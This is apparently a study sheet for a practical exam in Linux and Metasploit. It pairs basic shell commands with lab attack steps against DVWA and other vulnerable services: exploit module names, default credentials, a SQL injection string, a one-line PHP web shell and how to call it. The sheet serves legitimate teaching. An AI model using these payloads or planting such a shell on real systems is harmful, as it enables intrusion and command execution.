Linux & Metasploit Commands - Practical Exam
Guide
Linux Basics Commands
Task / Keyword Command
Display current directory pwd
Create folder mkdir project
Navigate into folder cd project
Create file touch [Link]
List files with details ls -l
Write text using redirection echo "hello" > [Link]
Append text echo "world" >> [Link]
Display file content cat [Link]
Count lines wc -l [Link]
Create user sudo useradd student1
Set password sudo passwd student1
Display user id and groups id student1
Create group sudo groupadd team
Add user to group sudo usermod -aG team student1
Copy file cp [Link] ../folder2/
Display /etc/passwd cat /etc/passwd
Save output to file cat /etc/passwd > [Link]
Search for root grep "root" [Link]
Display last 3 lines tail -n 3 [Link]
Display /etc/group cat /etc/group
Save to [Link] cat /etc/group > [Link]
Display first 3 lines head -n 3 [Link]
Metasploit / Security Commands
Task / Keyword Module / Command
FTP Exploit exploit/unix/ftp/vsftpd_234_backdoor
Show victim users cat /etc/passwd
Telnet Login Scanner auxiliary/scanner/telnet/telnet_login
HTTP Version Scanner auxiliary/scanner/http/http_version
PHP CGI Exploit exploit/multi/http/php_cgi_arg_injection
DVWA Login admin : password
SQL Injection Example ' OR '1'='1
Command Injection - show path pwd
Command Injection - who am I whoami
Simple PHP Shell <?php system($_GET['cmd']); ?>
Execute uploaded shell [Link]?cmd=whoami
Important Keywords
Keyword Meaning
pwd Print working directory
mkdir Create directory
cd Change directory
touch Create empty file
ls -l List files with details
cat Display file content
wc -l Count lines
grep Search inside files
tail Show last lines
head Show first lines
cp Copy files
whoami Display current user
Metasploit Penetration testing framework
DVWA Damn Vulnerable Web Application
SQL Injection Database attack technique
Command Injection Execute system commands through input